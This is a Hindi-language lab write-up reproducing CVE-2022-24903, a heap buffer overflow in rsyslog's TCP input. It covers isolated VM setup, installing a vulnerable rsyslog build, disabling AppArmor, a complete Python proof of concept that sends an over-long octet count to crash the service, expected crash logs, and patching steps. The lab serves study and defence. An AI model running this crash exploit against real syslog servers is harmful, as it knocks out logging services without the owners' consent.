
CVE-2022-24903 Heap-based buffer overflow
लेखक: Andrew Beshay Mousa
rsyslog हीप बफ़र ओवरफ़्लो भेद्यता प्रदर्शित करने वाली एक व्यावहारिक हैंड्स-ऑन लैब।
TCP syslog अभिग्रहण में ऑक्टेट-गणना फ़्रेमिंग के माध्यम से rsyslog हीप बफ़र ओवरफ़्लो भेद्यता (CVE-2022-24903) को पुनरुत्पादित करने और समझने के लिए एक व्यावहारिक लैब वातावरण।
CVE-2022-24903 rsyslog के TCP syslog अभिग्रहण मॉड्यूल (imtcp) में एक हीप बफ़र ओवरफ़्लो भेद्यता है, जब ऑक्टेट-गणना फ़्रेमिंग (RFC 5425) का उपयोग किया जाता है।
एक हमलावर अत्यधिक लंबे ऑक्टेट-गणना उपसर्ग के साथ एक क्राफ्टेड TCP syslog संदेश भेज सकता है, जिससे rsyslog हीप-आवंटित बफ़र की सीमा से परे लिखता है, जिसके परिणामस्वरूप सेवा से वंचित (DoS) या संभावित मेमोरी भ्रष्टाचार होता है।
+----------------------------------------------------------+
| Network: Host-Only |
| Subnet: 192.168.56.0/24 |
+--------------------------+-------------------------------+
| | |
| +---------------+ | +--------------------+ |
| | [Attacker] | | | [Target] | |
| | Kali Linux |<-----|----->| Ubuntu 22.04 | |
| | | TCP | | rsyslog 8.2001.0 | |
| | 192.168.56.10| 514 | | 192.168.56.20 | |
| | RAM: 2GB | | | RAM: 1GB | |
| | CPU: 1 | | | CPU: 1 | |
| +---------------+ | +--------------------+ |
| | |
+----------------------------------------------------------+
नोट: आप लक्ष्य के रूप में किसी भी Ubuntu संस्करण (20.04, 22.04, 24.04) का उपयोग कर सकते हैं। मुख्य बात भेद्य rsyslog 8.2001.0
.debपैकेज को मैन्युअल रूप से स्थापित करना है।
TCP syslog (RFC 5425) में, संदेशों के आगे उनकी बाइट्स में लंबाई उपसर्ग के रूप में जोड़ी जाती है:
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
octet count (3 digits = 123 bytes follow)
भेद्य rsyslog संस्करणों में, ऑक्टेट-गणना पार्सर:
// Simplified vulnerable logic:
char buffer[20]; // Small heap buffer
int i = 0;
while (isdigit(ch)) { // Read digits
buffer[i++] = ch; // Write to buffer
// MISSING: if (i >= 20) break;
ch = next_char();
}
परिणाम: 9999... (5000+ अंक) भेजने से हीप बफ़र ओवरफ़्लो हो जाता है, जिससे आसन्न मेमोरी भ्रष्ट हो जाती है।
0-9) तक सीमित हैअपने हाइपरवाइज़र में, एक होस्ट-ओनली नेटवर्क बनाएं:
192.168.56.0/24दोनों VMs को इस नेटवर्क से जोड़ें।
sudo nano /etc/netplan/00-installer-config.yaml
पेस्ट करें:
network:
version: 2
ethernets:
enp0s3:
dhcp4: no
addresses:
- 192.168.56.20/24
लागू करें:
sudo netplan apply
सत्यापित करें:
ip addr show | grep 192.168.56.20
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog
यदि आपको dpkg लॉक त्रुटि मिलती है:
sudo kill -9 <PID> sudo rm -f /var/lib/dpkg/lock-frontend sudo dpkg --configure -a
संस्करण सत्यापित करें:
rsyslogd -v | head -2
अपेक्षित आउटपुट:
rsyslogd 8.2001.0
AppArmor पुराने पैकेज के साथ rsyslog को सही ढंग से कार्य करने से रोक सकता है:
sudo systemctl stop apparmor
sudo systemctl disable apparmor
sudo nano /etc/rsyslog.conf
फ़ाइल साफ़ करें और पेस्ट करें:
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log
sudo ufw allow 514/tcp
sudo ufw --force enable
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager
listening स्थिति सत्यापित करें:
sudo ss -tlnp | grep 514
अपेक्षित:
LISTEN 0 25 0.0.0.0:514 users:(("rsyslogd",pid=...,fd=4))
sudo nano /etc/network/interfaces
पेस्ट करें:
auto eth0
iface eth0 inet static
address 192.168.56.10
netmask 255.255.255.0
या यदि Netplan का उपयोग कर रहे हैं:
sudo nano /etc/netplan/01-netcfg.yaml
network:
version: 2
ethernets:
eth0:
dhcp4: no
addresses:
- 192.168.56.10/24
sudo netplan apply
cd ~/Desktop
nano exploit.py
पेस्ट करें:
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""
import socket
import sys
TARGET = "192.168.56.20" # Change to your Target IP
PORT = 514
def exploit():
"""
Send a crafted TCP syslog message with an excessively long octet-count prefix.
The octet-count parser writes digits to a heap buffer without bounds checking,
causing a heap buffer overflow.
"""
# Create a massive octet count string (5000+ digits)
# This overflows the heap buffer allocated for parsing the count
overflow_digits = b"9" * 5000
# The rest of the message (parser will crash before processing this)
syslog_msg = b" <1>test crash message\n"
payload = overflow_digits + syslog_msg
print(f"[*] Target: {TARGET}:{PORT}")
print(f"[*] Payload size: {len(payload)} bytes")
print(f"[*] Octet count digits: {len(overflow_digits)}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((TARGET, PORT))
print(f"[*] Connected. Sending payload...")
sock.sendall(payload)
# Try to receive (likely won't get anything back after crash)
try:
response = sock.recv(1024)
print(f"[+] Received: {response}")
except socket.timeout:
print("[!] No response - target may have crashed!")
sock.close()
print("[*] Exploit completed.")
except ConnectionRefusedError:
print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
sys.exit(1)
except BrokenPipeError:
print("[!] Connection broken - target likely crashed mid-transmission!")
if __name__ == "__main__":
print("=" * 50)
print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
print("=" * 50)
exploit()
निष्पादन योग्य बनाएं:
chmod +x exploit.py
हमलावर से, कनेक्टिविटी सत्यापित करें:
nc -zv 192.168.56.20 514
अपेक्षित:
(UNKNOWN) [192.168.56.20] 514 (shell) open
python3 ~/Desktop/exploit.py
अपेक्षित आउटपुट:
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.
लक्ष्य मशीन पर, क्रैश सत्यापित करें:
ps aux | grep rsyslog
यदि कोई आउटपुट नहीं -> rsyslog क्रैश हो गया
sudo dmesg | tail -10
अपेक्षित आउटपुट:
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]
या:
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]
sudo journalctl -u rsyslog --no-pager | tail -10
पुनरुत्पादन क्षमता की पुष्टि करने के लिए:
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514
फिर Kali से एक्सप्लॉइट दोबारा चलाएं। क्रैश फिर से होना चाहिए।
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog
पैच किए गए संस्करण की पुष्टि करें:
rsyslogd -v | head -2
यह 8.2204.1 या उच्चतर होना चाहिए।
/etc/rsyslog.conf में कमेंट करें:
# module(load="imtcp")
# input(type="imtcp" port="514")
यदि TCP syslog आवश्यक है, तो एन्क्रिप्टेड ट्रांसपोर्ट का उपयोग करें:
module(load="imgtls")
input(type="imgtls" port="6514")
TCP 514 को केवल विश्वसनीय होस्ट तक सीमित करें:
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp
यह लैब केवल शैक्षिक और शोध उद्देश्यों के लिए है। इस एक्सप्लॉइट का उपयोग उन प्रणालियों के विरुद्ध न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है। इस जानकारी के दुरुपयोग के लिए लेखक कोई जिम्मेदारी नहीं लेता है।
यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है।
कॉफी और जिज्ञासा के साथ Andrew Beshay Mousa द्वारा निर्मित।
| विशेषता | मान |
|---|
| CVE ID | CVE-2022-24903 |
| प्रभावित | rsyslog < 8.2204.1 |
| वेक्टर | नेटवर्क |
| पोर्ट | 514/TCP |
| मॉड्यूल | imtcp (TCP इनपुट) |
| प्रभाव | DoS / हीप भ्रष्टाचार |
| RCE संभावित? | नहीं (विक्रेता मूल्यांकन) |
| VM | OS | भूमिका | IP | RAM | CPU |
|---|
| लक्ष्य | Ubuntu 22.04 | भेद्य rsyslog सर्वर | 192.168.56.20 | 1 GB | 1 |
| हमलावर | Kali Linux | एक्सप्लॉइट भेजने वाला | 192.168.56.10 | 2 GB | 1 |
| समस्या | समाधान |
|---|
Connection refused | rsyslog चल नहीं रहा है या TCP 514 पर सुन नहीं रहा है। sudo systemctl status rsyslog और `sudo ss -tlnp |
Unit rsyslog.service is masked | sudo systemctl unmask rsyslog.service syslog.socket चलाएं |
dpkg frontend lock | sudo kill -9 <PID> चलाएं, फिर sudo rm -f /var/lib/dpkg/lock-frontend |
| AppArmor DENIED in dmesg | sudo systemctl stop apparmor && sudo systemctl disable apparmor चलाएं |
| rsyslog संस्करण 8.2112+ है | आपने पैच किया हुआ संस्करण स्थापित किया है। rsyslog_8.2001.0-1ubuntu1_amd64.deb को मैन्युअल रूप से डाउनलोड और इंस्टॉल करें |
| एक्सप्लॉइट के बाद कोई क्रैश नहीं | पेलोड आकार बढ़ाकर b"9" * 20000 करें |